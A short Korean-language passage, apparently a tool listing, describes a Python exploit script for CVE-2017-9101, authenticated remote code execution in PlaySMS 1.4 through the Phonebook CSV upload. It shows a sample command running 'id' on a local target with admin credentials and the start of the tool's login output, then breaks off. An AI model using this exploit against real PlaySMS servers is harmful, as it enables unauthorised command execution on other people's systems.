CVE-2017-9101

PlaySMS 1.4 인증된 원격 코드 실행 ExploitDB에 설명된 Phonebook CSV 업로드 문제를 통한 원격 코드 실행의 간단한 방법입니다. 단일 명령 실행: root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login Attempting to login as admin + Logged in! Grabbing CSRF token for...